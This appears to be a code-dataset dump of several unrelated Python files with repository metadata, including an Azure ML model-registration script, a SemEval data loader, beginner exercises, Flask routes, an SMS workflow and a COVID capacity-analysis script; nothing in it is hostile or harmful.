default="team5ml_model.pkl", ) parser.add_argument( "--step_input", type=str, help=("input from previous steps") ) args = parser.parse_args() if (args.run_id is not None): run_id = args.run_id if (run_id == 'amlcompute'): run_id = run.parent.id model_name = args.model_name model_path = args.step_input print("Getting registration parameters") # Load the registration parameters from the parameters file with open("parameters.json") as f: pars = json.load(f) try: register_args = pars["registration"] except KeyError: print("Could not load registration values from file") register_args = {"tags": []} model_tags = {} for tag in register_args["tags"]: try: mtag = run.parent.get_metrics()[tag] model_tags[tag] = mtag except KeyError: print(f"Could not find {tag} metric on parent run.") # load the model print("Loading model from " + model_path) model_file = os.path.join(model_path, model_name) model = joblib.load(model_file) parent_tags = run.parent.get_tags() try: build_id = parent_tags["BuildId"] except KeyError: build_id = None print("BuildId tag not found on parent run.") print(f"Tags present: {parent_tags}") try: build_uri = parent_tags["BuildUri"] except KeyError: build_uri = None print("BuildUri tag not found on parent run.") print(f"Tags present: {parent_tags}") if (model is not None): dataset_id = parent_tags["dataset_id"] if (build_id is None): register_aml_model( model_file, model_name, model_tags, exp, run_id, dataset_id) elif (build_uri is None): register_aml_model( model_file, model_name, model_tags, exp, run_id, dataset_id, build_id) else: register_aml_model( model_file, model_name, model_tags, exp, run_id, dataset_id, build_id, build_uri) else: print("Model not found. Skipping model registration.") sys.exit(0) def model_already_registered(model_name, exp, run_id): model_list = AMLModel.list(exp.workspace, name=model_name, run_id=run_id) if len(model_list) >= 1: e = ("Model name:", model_name, "in workspace", exp.workspace, "with run_id ", run_id, "is already registered.") print(e) raise Exception(e) else: print("Model is not registered for this run.") def register_aml_model( model_path, model_name, model_tags, exp, run_id, dataset_id, build_id: str = 'none', build_uri=None ): try: tagsValue = {"area": "team5ml", "run_id": run_id, "experiment_name": exp.name} tagsValue.update(model_tags) if (build_id != 'none'): model_already_registered(model_name, exp, run_id) tagsValue["BuildId"] = build_id if (build_uri is not None): tagsValue["BuildUri"] = build_uri model = AMLModel.register( workspace=exp.workspace, model_name=model_name, model_path=model_path, tags=tagsValue, datasets=[('training data', Dataset.get_by_id(exp.workspace, dataset_id))]) os.chdir("..") print( "Model registered: {} \nModel Description: {} " "\nModel Version: {}".format( model.name, model.description, model.version ) ) except Exception: traceback.print_exc(limit=None, file=None, chain=True) print("Model registration failed") raise if __name__ == '__main__': main()

32.344186

79

0.619931

import json import os import sys import argparse import traceback import joblib from azureml.core import Run, Experiment, Workspace, Dataset from azureml.core.model import Model as AMLModel def main(): run = Run.get_context() if (run.id.startswith('OfflineRun')): from dotenv import load_dotenv load_dotenv() workspace_name = os.environ.get("WORKSPACE_NAME") experiment_name = os.environ.get("EXPERIMENT_NAME") resource_group = os.environ.get("RESOURCE_GROUP") subscription_id = os.environ.get("SUBSCRIPTION_ID") run_id = "bd184a18-2ac8-4951-8e78-e290bef3b012" aml_workspace = Workspace.get( name=workspace_name, subscription_id=subscription_id, resource_group=resource_group ) ws = aml_workspace exp = Experiment(ws, experiment_name) else: ws = run.experiment.workspace exp = run.experiment run_id = 'amlcompute' parser = argparse.ArgumentParser("register") parser.add_argument( "--run_id", type=str, help="Training run ID", ) parser.add_argument( "--model_name", type=str, help="Name of the Model", default="team5ml_model.pkl", ) parser.add_argument( "--step_input", type=str, help=("input from previous steps") ) args = parser.parse_args() if (args.run_id is not None): run_id = args.run_id if (run_id == 'amlcompute'): run_id = run.parent.id model_name = args.model_name model_path = args.step_input print("Getting registration parameters") with open("parameters.json") as f: pars = json.load(f) try: register_args = pars["registration"] except KeyError: print("Could not load registration values from file") register_args = {"tags": []} model_tags = {} for tag in register_args["tags"]: try: mtag = run.parent.get_metrics()[tag] model_tags[tag] = mtag except KeyError: print(f"Could not find {tag} metric on parent run.") print("Loading model from " + model_path) model_file = os.path.join(model_path, model_name) model = joblib.load(model_file) parent_tags = run.parent.get_tags() try: build_id = parent_tags["BuildId"] except KeyError: build_id = None print("BuildId tag not found on parent run.") print(f"Tags present: {parent_tags}") try: build_uri = parent_tags["BuildUri"] except KeyError: build_uri = None print("BuildUri tag not found on parent run.") print(f"Tags present: {parent_tags}") if (model is not None): dataset_id = parent_tags["dataset_id"] if (build_id is None): register_aml_model( model_file, model_name, model_tags, exp, run_id, dataset_id) elif (build_uri is None): register_aml_model( model_file, model_name, model_tags, exp, run_id, dataset_id, build_id) else: register_aml_model( model_file, model_name, model_tags, exp, run_id, dataset_id, build_id, build_uri) else: print("Model not found. Skipping model registration.") sys.exit(0) def model_already_registered(model_name, exp, run_id): model_list = AMLModel.list(exp.workspace, name=model_name, run_id=run_id) if len(model_list) >= 1: e = ("Model name:", model_name, "in workspace", exp.workspace, "with run_id ", run_id, "is already registered.") print(e) raise Exception(e) else: print("Model is not registered for this run.") def register_aml_model( model_path, model_name, model_tags, exp, run_id, dataset_id, build_id: str = 'none', build_uri=None ): try: tagsValue = {"area": "team5ml", "run_id": run_id, "experiment_name": exp.name} tagsValue.update(model_tags) if (build_id != 'none'): model_already_registered(model_name, exp, run_id) tagsValue["BuildId"] = build_id if (build_uri is not None): tagsValue["BuildUri"] = build_uri model = AMLModel.register( workspace=exp.workspace, model_name=model_name, model_path=model_path, tags=tagsValue, datasets=[('training data', Dataset.get_by_id(exp.workspace, dataset_id))]) os.chdir("..") print( "Model registered: {} \nModel Description: {} " "\nModel Version: {}".format( model.name, model.description, model.version ) ) except Exception: traceback.print_exc(limit=None, file=None, chain=True) print("Model registration failed") raise if __name__ == '__main__': main()

true

f7f375d9a489238c7738ee695551641fff44b11c

4,055

py

Python

datasets.py

Cppowboy/APWEB-WAIM

9474cbe60100a7b4d2333b8c3501a6a74e2ba190

[ "MIT" ]

null

datasets.py

Cppowboy/APWEB-WAIM

9474cbe60100a7b4d2333b8c3501a6a74e2ba190

[ "MIT" ]

null

datasets.py

Cppowboy/APWEB-WAIM

9474cbe60100a7b4d2333b8c3501a6a74e2ba190

[ "MIT" ]

null

import os import csv import numpy as np from tqdm import tqdm from sklearn.utils import shuffle from sklearn.model_selection import train_test_split from xml.etree import ElementTree as ET from nltk import word_tokenize seed = 3535999445 # # def _rocstories(path): # with open(path, encoding='utf_8') as f: # f = csv.reader(f) # st = [] # ct1 = [] # ct2 = [] # y = [] # for i, line in enumerate(tqdm(list(f), ncols=80, leave=False)): # if i > 0: # s = ' '.join(line[1:5]) # c1 = line[5] # c2 = line[6] # st.append(s) # ct1.append(c1) # ct2.append(c2) # y.append(int(line[-1]) - 1) # return st, ct1, ct2, y # # # def rocstories(data_dir, n_train=1497, n_valid=374): # storys, comps1, comps2, ys = _rocstories( # os.path.join(data_dir, 'cloze_test_val__spring2016 - cloze_test_ALL_val.csv')) # teX1, teX2, teX3, _ = _rocstories(os.path.join(data_dir, 'cloze_test_test__spring2016 - cloze_test_ALL_test.csv')) # tr_storys, va_storys, tr_comps1, va_comps1, tr_comps2, va_comps2, tr_ys, va_ys = train_test_split(storys, comps1, # comps2, ys, # test_size=n_valid, # random_state=seed) # trX1, trX2, trX3 = [], [], [] # trY = [] # for s, c1, c2, y in zip(tr_storys, tr_comps1, tr_comps2, tr_ys): # trX1.append(s) # trX2.append(c1) # trX3.append(c2) # trY.append(y) # # vaX1, vaX2, vaX3 = [], [], [] # vaY = [] # for s, c1, c2, y in zip(va_storys, va_comps1, va_comps2, va_ys): # vaX1.append(s) # vaX2.append(c1) # vaX3.append(c2) # vaY.append(y) # trY = np.asarray(trY, dtype=np.int32) # vaY = np.asarray(vaY, dtype=np.int32) # return (trX1, trX2, trX3, trY), (vaX1, vaX2, vaX3, vaY), (teX1, teX2, teX3) def _semeval(fname): ''' read aspect term data from xml file :param fname: :param wordcounter: :param targetcounter: :return: ''' print('reading aspect term from {}'.format(fname)) dic = {'positive': 2, 'neutral': 1, 'negative': 0} tree = ET.parse(fname) root = tree.getroot() bad_sent = 0 sent_list = [] aspect_list = [] label_list = [] for sentence in tqdm(root.findall('sentence')): try: txt = sentence.find('text').text.lower().rstrip() words = word_tokenize(txt) aspects = sentence.find('aspectTerms') for aspect in aspects.findall('aspectTerm'): a = aspect.get('term').lower().strip() # if '/' in a: # a = a.split('/')[-1] p = aspect.get('polarity') if p == 'conflict': continue p = dic[p] sent_list.append(txt) aspect_list.append(a) label_list.append(p) except: bad_sent += 1 print('bad sent %d, total count %d' % (bad_sent, len(sent_list))) return sent_list, aspect_list, label_list def semeval(data_dir): # sents, aspects, labels = _semeval(os.path.join(data_dir, 'Laptops_Train_v2.xml')) sents, aspects, labels = _semeval(os.path.join(data_dir, 'train.xml')) # sents, aspects, labels = _semeval(os.path.join(data_dir, 'Restaurants_Train_v2.xml')) # va_sents, va_aspects, va_labels = _semeval(os.path.join(data_dir, 'Laptops_Test_Gold.xml')) va_sents, va_aspects, va_labels = _semeval(os.path.join(data_dir, 'test.xml')) # va_sents, va_aspects, va_labels = _semeval(os.path.join(data_dir, 'Restaurants_Test_Gold.xml')) return (sents, aspects, labels), (va_sents, va_aspects, va_labels)

37.201835

122

0.531689

import os import csv import numpy as np from tqdm import tqdm from sklearn.utils import shuffle from sklearn.model_selection import train_test_split from xml.etree import ElementTree as ET from nltk import word_tokenize seed = 3535999445 def _semeval(fname): print('reading aspect term from {}'.format(fname)) dic = {'positive': 2, 'neutral': 1, 'negative': 0} tree = ET.parse(fname) root = tree.getroot() bad_sent = 0 sent_list = [] aspect_list = [] label_list = [] for sentence in tqdm(root.findall('sentence')): try: txt = sentence.find('text').text.lower().rstrip() words = word_tokenize(txt) aspects = sentence.find('aspectTerms') for aspect in aspects.findall('aspectTerm'): a = aspect.get('term').lower().strip() p = aspect.get('polarity') if p == 'conflict': continue p = dic[p] sent_list.append(txt) aspect_list.append(a) label_list.append(p) except: bad_sent += 1 print('bad sent %d, total count %d' % (bad_sent, len(sent_list))) return sent_list, aspect_list, label_list def semeval(data_dir): sents, aspects, labels = _semeval(os.path.join(data_dir, 'train.xml')) va_sents, va_aspects, va_labels = _semeval(os.path.join(data_dir, 'test.xml')) return (sents, aspects, labels), (va_sents, va_aspects, va_labels)

true

f7f376453f779db0bda0a889ca2401f77f1bbb15

656

py

Python

01_Hello/hello08_formatted.py

davidlg2005/tiny_python_projects

3f86615f32c10cb2e689ef4abc56c2c194063bfe

[ "MIT" ]

null

01_Hello/hello08_formatted.py

davidlg2005/tiny_python_projects

3f86615f32c10cb2e689ef4abc56c2c194063bfe

[ "MIT" ]

null

01_Hello/hello08_formatted.py

davidlg2005/tiny_python_projects

3f86615f32c10cb2e689ef4abc56c2c194063bfe

[ "MIT" ]

null

#!/usr/bin/env python3 """ Author: Ken Youens-Clark <kyclark@gmail.com> Purpose: Say hello """ import argparse # -------------------------------------------------- def get_args(): """Get the command-line arguments""" parser = argparse.ArgumentParser(description='Say hello') parser.add_argument('-n', '--name', default='World', help='Name to greet') return parser.parse_args() # -------------------------------------------------- def main(): """Make a jazz noise here""" args = get_args() print('01_Hello, ' + args.name + '!') # -------------------------------------------------- if __name__ == '__main__': main()

21.866667

78

0.481707

import argparse def get_args(): parser = argparse.ArgumentParser(description='Say hello') parser.add_argument('-n', '--name', default='World', help='Name to greet') return parser.parse_args() def main(): args = get_args() print('01_Hello, ' + args.name + '!') if __name__ == '__main__': main()

true

f7f3767d0ba100472c0068b2df4bef992993febc

1,023

py

Python

Alternate implementation/vran.py

ashtedroid/Test-Cases-Prioritization-and-Analysis

70a6997f3764ea39c51fdc8cd6806e430088f8a7

[ "MIT" ]

1

2020-04-24T08:08:49.000Z

Alternate implementation/vran.py

ashtedroid/Test-Cases-Prioritization-and-Analysis

70a6997f3764ea39c51fdc8cd6806e430088f8a7

[ "MIT" ]

null

Alternate implementation/vran.py

ashtedroid/Test-Cases-Prioritization-and-Analysis

70a6997f3764ea39c51fdc8cd6806e430088f8a7

[ "MIT" ]

null

''' ================================================================= @version 2.0 @author Ashwin Ramadevanahalli @title Testing. Random Priorization module. ================================================================= ''' import random import vec_manipulation import sys def pri(rrlist,location,pname,option): rlist=rrlist random.shuffle(rlist) f=open(location+"bit/"+pname+"/out"+str(option)+".txt") pmax=int(str(f.readlines()[0]).strip('\n')) print "Ran Max coverage:",pmax f.close() cov=rlist[0][1] vec=vec_manipulation.vfetch(rlist[0][0],location,pname,option) suite=[] suite.append(rlist[0][2]) rlist.remove(rlist[0]) for tup in rlist: if cov==pmax: print cov ########## return suite cov,vec=vec_manipulation.vmerge(vec,vec_manipulation.vfetch(tup[0],location,pname,option)) suite.append(tup[2]) if cov==pmax: print cov ########## return suite print "Max:",pmax," coverage:",cov sys.exit("Ran:Adequate testset not found")

17.947368

92

0.57087

''' ================================================================= @version 2.0 @author Ashwin Ramadevanahalli @title Testing. Random Priorization module. ================================================================= ''' import random import vec_manipulation import sys def pri(rrlist,location,pname,option): rlist=rrlist random.shuffle(rlist) f=open(location+"bit/"+pname+"/out"+str(option)+".txt") pmax=int(str(f.readlines()[0]).strip('\n')) print "Ran Max coverage:",pmax f.close() cov=rlist[0][1] vec=vec_manipulation.vfetch(rlist[0][0],location,pname,option) suite=[] suite.append(rlist[0][2]) rlist.remove(rlist[0]) for tup in rlist: if cov==pmax: print cov on.vmerge(vec,vec_manipulation.vfetch(tup[0],location,pname,option)) suite.append(tup[2]) if cov==pmax: print cov age:",cov sys.exit("Ran:Adequate testset not found")

false

true

f7f37745e718e98930284dc6fa7dcd22548b60bd

3,235

py

Python

basic/list1.py

mbradaschia/wttd-exercises-mod-01

0de943723a36ffe9fee99da501de238651ae3dd1

[ "Apache-2.0" ]

null

basic/list1.py

mbradaschia/wttd-exercises-mod-01

0de943723a36ffe9fee99da501de238651ae3dd1

[ "Apache-2.0" ]

null

basic/list1.py

mbradaschia/wttd-exercises-mod-01

0de943723a36ffe9fee99da501de238651ae3dd1

[ "Apache-2.0" ]

null

#!/usr/bin/python -tt # Copyright 2010 Google Inc. # Licensed under the Apache License, Version 2.0 # http://www.apache.org/licenses/LICENSE-2.0 # Google's Python Class # http://code.google.com/edu/languages/google-python-class/ # Basic list exercises # Fill in the code for the functions below. main() is already set up # to call the functions with a few different inputs, # printing 'OK' when each function is correct. # The starter code for each function includes a 'return' # which is just a placeholder for your code. # It's ok if you do not complete all the functions, and there # are some additional functions to try in list2.py. # A. match_ends # Given a list of strings, return the count of the number of # strings where the string length is 2 or more and the first # and last chars of the string are the same. # Note: python does not have a ++ operator, but += works. def match_ends(words): nl = [] # for w in words: # if len(w) >= 2 and w[0] == w[-1]: # nl.append(w) nl = [w for w in words if len(w) >= 2 and w[0] == w[-1]] return len(nl) # B. front_x # Given a list of strings, return a list with the strings # in sorted order, except group all the strings that begin with 'x' first. # e.g. ['mix', 'xyz', 'apple', 'xanadu', 'aardvark'] yields # ['xanadu', 'xyz', 'aardvark', 'apple', 'mix'] # Hint: this can be done by making 2 lists and sorting each of them # before combining them. def front_x(words): na = [w for w in words if w[0] != 'x'] nx = [w for w in words if w[0] == 'x'] na.sort() nx.sort() return nx + na # C. sort_last # Given a list of non-empty tuples, return a list sorted in increasing # order by the last element in each tuple. # e.g. [(1, 7), (1, 3), (3, 4, 5), (2, 2)] yields # [(2, 2), (1, 3), (3, 4, 5), (1, 7)] # Hint: use a custom key= function to extract the last element form each tuple. def sort_last(tuples): tuples.sort(key=lambda tp: tp[-1]) return tuples # Simple provided test() function used in main() to print # what each function returns vs. what it's supposed to return. def test(got, expected): if got == expected: prefix = ' OK ' else: prefix = ' X ' print('%s got: %s expected: %s' % (prefix, repr(got), repr(expected))) # Calls the above functions with interesting inputs. def main(): print('match_ends') test(match_ends(['aba', 'xyz', 'aa', 'x', 'bbb']), 3) test(match_ends(['', 'x', 'xy', 'xyx', 'xx']), 2) test(match_ends(['aaa', 'be', 'abc', 'hello']), 1) print() print('front_x') test(front_x(['bbb', 'ccc', 'axx', 'xzz', 'xaa']), ['xaa', 'xzz', 'axx', 'bbb', 'ccc']) test(front_x(['ccc', 'bbb', 'aaa', 'xcc', 'xaa']), ['xaa', 'xcc', 'aaa', 'bbb', 'ccc']) test(front_x(['mix', 'xyz', 'apple', 'xanadu', 'aardvark']), ['xanadu', 'xyz', 'aardvark', 'apple', 'mix']) print() print('sort_last') test(sort_last([(1, 3), (3, 2), (2, 1)]), [(2, 1), (3, 2), (1, 3)]) test(sort_last([(2, 3), (1, 2), (3, 1)]), [(3, 1), (1, 2), (2, 3)]) test(sort_last([(1, 7), (1, 3), (3, 4, 5), (2, 2)]), [(2, 2), (1, 3), (3, 4, 5), (1, 7)]) if __name__ == '__main__': main()

32.35

79

0.58949

# http://code.google.com/edu/languages/google-python-class/ # Basic list exercises # Fill in the code for the functions below. main() is already set up # to call the functions with a few different inputs, # printing 'OK' when each function is correct. # The starter code for each function includes a 'return' # which is just a placeholder for your code. # It's ok if you do not complete all the functions, and there def match_ends(words): nl = [] nl = [w for w in words if len(w) >= 2 and w[0] == w[-1]] return len(nl) def front_x(words): na = [w for w in words if w[0] != 'x'] nx = [w for w in words if w[0] == 'x'] na.sort() nx.sort() return nx + na def sort_last(tuples): tuples.sort(key=lambda tp: tp[-1]) return tuples def test(got, expected): if got == expected: prefix = ' OK ' else: prefix = ' X ' print('%s got: %s expected: %s' % (prefix, repr(got), repr(expected))) # Calls the above functions with interesting inputs. def main(): print('match_ends') test(match_ends(['aba', 'xyz', 'aa', 'x', 'bbb']), 3) test(match_ends(['', 'x', 'xy', 'xyx', 'xx']), 2) test(match_ends(['aaa', 'be', 'abc', 'hello']), 1) print() print('front_x') test(front_x(['bbb', 'ccc', 'axx', 'xzz', 'xaa']), ['xaa', 'xzz', 'axx', 'bbb', 'ccc']) test(front_x(['ccc', 'bbb', 'aaa', 'xcc', 'xaa']), ['xaa', 'xcc', 'aaa', 'bbb', 'ccc']) test(front_x(['mix', 'xyz', 'apple', 'xanadu', 'aardvark']), ['xanadu', 'xyz', 'aardvark', 'apple', 'mix']) print() print('sort_last') test(sort_last([(1, 3), (3, 2), (2, 1)]), [(2, 1), (3, 2), (1, 3)]) test(sort_last([(2, 3), (1, 2), (3, 1)]), [(3, 1), (1, 2), (2, 3)]) test(sort_last([(1, 7), (1, 3), (3, 4, 5), (2, 2)]), [(2, 2), (1, 3), (3, 4, 5), (1, 7)]) if __name__ == '__main__': main()

true

f7f378806b9819c3952db343a7d3a22e62195f17

494

py

Python

09-lambda/lab9-2-1/index.py

imbgar/stel-u

4bcfed482224230ade0cec3468da08995299cd1b

[ "MIT" ]

null

09-lambda/lab9-2-1/index.py

imbgar/stel-u

4bcfed482224230ade0cec3468da08995299cd1b

[ "MIT" ]

1

2021-05-26T20:19:08.000Z

09-lambda/lab9-2-1/index.py

imbgar/stel-u

4bcfed482224230ade0cec3468da08995299cd1b

[ "MIT" ]

null

import json import boto3 def lambda_handler(event, context): data = json.loads(event["body"]) dynamodb = boto3.resource('dynamodb') table = dynamodb.Table('bgar-Movies') print(f"Writing item with: {data}") response = table.put_item( Item={ 'movie_id': data["movie_id"], 'genre': data["genre"], 'rating': data["rating"] } ) response = {'statusCode': 200, 'body': json.dumps(response)} return response

20.583333

41

0.576923

import json import boto3 def lambda_handler(event, context): data = json.loads(event["body"]) dynamodb = boto3.resource('dynamodb') table = dynamodb.Table('bgar-Movies') print(f"Writing item with: {data}") response = table.put_item( Item={ 'movie_id': data["movie_id"], 'genre': data["genre"], 'rating': data["rating"] } ) response = {'statusCode': 200, 'body': json.dumps(response)} return response

true

f7f378b09fc4657386907f71e68a70c7e7b888b4

728

py

Python

davaiops/routes/main.py

barretobrock/davaiops

a6ab8aff2a64c18d1ad199ed75e4de833bb19659

[ "MIT" ]

null

davaiops/routes/main.py

barretobrock/davaiops

a6ab8aff2a64c18d1ad199ed75e4de833bb19659

[ "MIT" ]

null

davaiops/routes/main.py

barretobrock/davaiops

a6ab8aff2a64c18d1ad199ed75e4de833bb19659

[ "MIT" ]

null

from flask import ( render_template, Blueprint, Response ) main = Blueprint('main', __name__) @main.route('/') @main.route('/home') def index(): return render_template('index.html') @main.route('/projects') def projects(): return render_template('projects/projects.html', title='Projects') @main.route('/contact') def contact() -> str: return render_template('contact.html', title='Contact') @main.route('/robots.txt') def robots() -> Response: """Responds with robots.txt instructions to discourage web crawling""" resp = Response(response="User-Agent: *\nDisallow: /\n", status=200, mimetype="text/plain") resp.headers['Content-Type'] = 'text/plain; charset=utf-8' return resp

22.75

95

0.679945

from flask import ( render_template, Blueprint, Response ) main = Blueprint('main', __name__) @main.route('/') @main.route('/home') def index(): return render_template('index.html') @main.route('/projects') def projects(): return render_template('projects/projects.html', title='Projects') @main.route('/contact') def contact() -> str: return render_template('contact.html', title='Contact') @main.route('/robots.txt') def robots() -> Response: resp = Response(response="User-Agent: *\nDisallow: /\n", status=200, mimetype="text/plain") resp.headers['Content-Type'] = 'text/plain; charset=utf-8' return resp

true

f7f379afe54d7657538803ed559173df08e9740c

3,306

py

Python

blockbuster/workflows/command_start.py

mattstibbs/blockbuster-server

cc66278405fcb02ebf07624e70220550ef1ad13b

[ "MIT" ]

null

blockbuster/workflows/command_start.py

mattstibbs/blockbuster-server

cc66278405fcb02ebf07624e70220550ef1ad13b

[ "MIT" ]

455

2015-02-02T21:29:35.000Z

2021-08-02T05:37:49.000Z

blockbuster/workflows/command_start.py

greysteil/blockbuster-server

475aa1f6da608f12c9c05607e3f302a21a712dfd

[ "MIT" ]

2

2016-03-14T16:39:40.000Z

2018-03-08T12:03:33.000Z

import blockbuster.bb_logging as log import blockbuster.bb_dbconnector_factory from blockbuster.messaging import bb_sms_handler def go(smsrequest): instance_name = smsrequest.instancename blockbuster.bb_dbconnector_factory.DBConnectorInterfaceFactory().create()\ .add_analytics_record("Count", "Command-START", instance_name) send_welcome_message(smsrequest) return # This method simply sends a 'Welcome' text message to the user def send_welcome_message(smsrequest): blockbuster.bb_logging.logger.info("Sending Welcome Message destination_mobile=\"%s\"", smsrequest.requestormobile) message = "Welcome to Blockbuster! \n" \ "\n" \ "To register a car, text 'REGISTER AB05TYR Firstname Surname'. \n" \ "\n" \ "For more commands text '?'" bb_sms_handler.send_sms_notification(smsrequest.servicenumber, smsrequest.requestormobile, message) return # This method is a WORK IN PROGRESS def workflow_start(smsrequest): print(str.format("Request from: {0}", smsrequest.requestormobile)) # Is the user registered? log.logger.debug("Checking if the mobile number is already registered") # If so - do they have any vehicles registered? log.logger.debug("User already has registered vehicles.") message = "Welcome back, Joe Bloggs! \n" \ "\n" \ "You have the following vehicles registered: \n" \ "\n" \ "Vehicle 1\n" \ "Vehicle 2\n" \ "\n" \ "Text 'REGISTER AB05TYR' to add a vehicle." bb_sms_handler.send_sms_notification(smsrequest.servicenumber, smsrequest.requestormobile, message) # If not - prompt them to add a vehicle log.logger.debug("User has no registered vehicles - prompting to add one.") message = "Welcome back, Joe Bloggs! \n" \ "\n" \ "You don't currently have any vehicles registered." \ "\n" \ "Text 'REGISTER AB05TYR' to add a vehicle." bb_sms_handler.send_sms_notification(smsrequest.servicenumber, smsrequest.requestormobile, message) # Is the user on the blacklist? log.logger.debug("Checking if the mobile number is blacklisted") message = "Welcome back!\n" \ "\n" \ "Messages from this service are currently 'Stopped'.\n" \ "\n" \ "Text 'RESTART' to remove the stop on this number." # In which case - welcome them! log.logger.debug("New user - sending welcome message") message = "Welcome to Blockbuster! \n" \ "\n" \ "To register a car, text 'REGISTER AB05TYR Firstname Surname'. \n" \ "\n" \ "For more info visit http://bit.ly/bbparking or reply 'HELP' for commands." bb_sms_handler.send_sms_notification(smsrequest.servicenumber, smsrequest.requestormobile, message)

36.733333

91

0.577132

import blockbuster.bb_logging as log import blockbuster.bb_dbconnector_factory from blockbuster.messaging import bb_sms_handler def go(smsrequest): instance_name = smsrequest.instancename blockbuster.bb_dbconnector_factory.DBConnectorInterfaceFactory().create()\ .add_analytics_record("Count", "Command-START", instance_name) send_welcome_message(smsrequest) return def send_welcome_message(smsrequest): blockbuster.bb_logging.logger.info("Sending Welcome Message destination_mobile=\"%s\"", smsrequest.requestormobile) message = "Welcome to Blockbuster! \n" \ "\n" \ "To register a car, text 'REGISTER AB05TYR Firstname Surname'. \n" \ "\n" \ "For more commands text '?'" bb_sms_handler.send_sms_notification(smsrequest.servicenumber, smsrequest.requestormobile, message) return def workflow_start(smsrequest): print(str.format("Request from: {0}", smsrequest.requestormobile)) log.logger.debug("Checking if the mobile number is already registered") log.logger.debug("User already has registered vehicles.") message = "Welcome back, Joe Bloggs! \n" \ "\n" \ "You have the following vehicles registered: \n" \ "\n" \ "Vehicle 1\n" \ "Vehicle 2\n" \ "\n" \ "Text 'REGISTER AB05TYR' to add a vehicle." bb_sms_handler.send_sms_notification(smsrequest.servicenumber, smsrequest.requestormobile, message) log.logger.debug("User has no registered vehicles - prompting to add one.") message = "Welcome back, Joe Bloggs! \n" \ "\n" \ "You don't currently have any vehicles registered." \ "\n" \ "Text 'REGISTER AB05TYR' to add a vehicle." bb_sms_handler.send_sms_notification(smsrequest.servicenumber, smsrequest.requestormobile, message) # Is the user on the blacklist? log.logger.debug("Checking if the mobile number is blacklisted") message = "Welcome back!\n" \ "\n" \ "Messages from this service are currently 'Stopped'.\n" \ "\n" \ "Text 'RESTART' to remove the stop on this number." # In which case - welcome them! log.logger.debug("New user - sending welcome message") message = "Welcome to Blockbuster! \n" \ "\n" \ "To register a car, text 'REGISTER AB05TYR Firstname Surname'. \n" \ "\n" \ "For more info visit http://bit.ly/bbparking or reply 'HELP' for commands." bb_sms_handler.send_sms_notification(smsrequest.servicenumber, smsrequest.requestormobile, message)

true

f7f379c83fa40ccc03b9944cfb7ea25acf93529f

671

py

Python

src/compas/datastructures/network/__init__.py

kathrindoerfler/compas

e876b36b582ee055da673befca1b7ced3834090c

[ "MIT" ]

null

src/compas/datastructures/network/__init__.py

kathrindoerfler/compas

e876b36b582ee055da673befca1b7ced3834090c

[ "MIT" ]

null

src/compas/datastructures/network/__init__.py

kathrindoerfler/compas

e876b36b582ee055da673befca1b7ced3834090c

[ "MIT" ]

null

from __future__ import absolute_import from __future__ import division from __future__ import print_function import compas from .core import * # noqa: F401 F403 from ._network import * # noqa: F401 F403 from .combinatorics import * # noqa: F401 F403 from .complementarity import * # noqa: F401 F403 from .duality import * # noqa: F401 F403 from .explode import * # noqa: F401 F403 # from .parallelisation import * # noqa: F401 F403 if not compas.IPY: from .planarity_ import * # noqa: F401 F403 from .smoothing import * # noqa: F401 F403 from .transformations import * # noqa: F401 F403 __all__ = [name for name in dir() if not name.startswith('_')]

27.958333

62

0.728763

from __future__ import absolute_import from __future__ import division from __future__ import print_function import compas from .core import * from ._network import * from .combinatorics import * from .complementarity import * from .duality import * from .explode import * PY: from .planarity_ import * from .smoothing import * from .transformations import * __all__ = [name for name in dir() if not name.startswith('_')]

true

f7f37aba07e61156e8ee0d5038e69672668b88fc

18,538

py

Python

data_processing/exceeding_capacity_1.py

jgerardin/covid-chicago

c2b91fdb42eece413e6fb0f6cee019357b96e00d

[ "Apache-2.0" ]

5

2020-06-01T19:36:38.000Z

2020-12-08T16:14:35.000Z

data_processing/exceeding_capacity_1.py

jgerardin/covid-chicago

c2b91fdb42eece413e6fb0f6cee019357b96e00d

[ "Apache-2.0" ]

104

2020-06-02T16:50:11.000Z

2021-06-25T10:28:32.000Z

data_processing/exceeding_capacity_1.py

jgerardin/covid-chicago

c2b91fdb42eece413e6fb0f6cee019357b96e00d

[ "Apache-2.0" ]

27

2020-06-01T19:36:45.000Z

2021-07-21T19:57:19.000Z

print('Importing packages...') import pandas as pd import matplotlib.pyplot as plt import datetime as dt import seaborn as sns import numpy as np import matplotlib.dates as mdates import datetime #sns.set(color_codes=True) import matplotlib as mpl mpl.rcParams['pdf.fonttype'] = 42 import statistics as st sns.set_style('whitegrid', {'axes.linewidth' : 0.5}) from statsmodels.distributions.empirical_distribution import ECDF import scipy import gc column_list = ['scen_num', 'reopening_multiplier_4'] for ems_region in range(1,12): column_list.append('hosp_det_EMS-' + str(ems_region)) column_list.append('hosp_det_cumul_EMS-' + str(ems_region)) column_list.append('detected_cumul_EMS-' + str(ems_region)) #Specify paths to trajectories. For this run, all trajectories were temporarily stored in the same folder. print('Reading trajectories...') sub1 = pd.read_csv('trajectoriesDat_1.csv', usecols=column_list) #0.08 - 0.09 print('Trajectory 1 read.') sub2 = pd.read_csv('trajectoriesDat_2.csv', usecols=column_list) #0.10 - 0.115 print('Trajectory 2 read.') sub3 = pd.read_csv('trajectoriesDat_3.csv', usecols=column_list) #0.087 - 0.10 print('Trajectory 3 read.') sub4 = pd.read_csv('trajectoriesDat_08.csv', usecols=column_list) # 0.08 - 0.10 sub4['scen_num'] = sub4['scen_num'].values + 1000 print('Trajectory 4 read.') sub5 = pd.read_csv('trajectoriesDat_300.csv', usecols=column_list) #0.1 - 0.11 sub5['scen_num'] = sub5['scen_num'].values + 2000 print('Trajectory 5 read.') sub6 = pd.read_csv('trajectoriesDat_600.csv', usecols=column_list) #0.115 - 0.13 sub6['scen_num'] = sub6['scen_num'].values + 2000 print('Trajectory 6 read.') sub7 = pd.read_csv('trajectoriesDat_1000.csv', usecols=column_list) #0.13 - 0.15 sub7['scen_num'] = sub7['scen_num'].values + 2000 print('Trajectory 7 read.') sub8 = pd.read_csv('trajectoriesDat_15.csv', usecols=column_list) #0.13 - 0.15 sub8['scen_num'] = sub8['scen_num'].values + 3000 print('Trajectory 8 read.') ###loop here for region in ['NE', 'NC', 'CE', 'SO']: for capacity in ['high', 'low']: for metric in ['det', 'hosp']: #current implementation only allows tracking new_detected and new_hosp. boink = [] ### Region #hospital_capacity = 1907 #NE 4919 8609 12299 #NC 1089 1907 2724 #CE 856 1498 2140 #SO 640 1121 1601 ### Metric to assess: if metric == 'det': notif = 'new_det_' + region if metric == 'hosp': notif = 'new_hosp_det_' + region ### Simulation Dates to Examine lower_limit = 145 upper_limit = 225 grain = 1 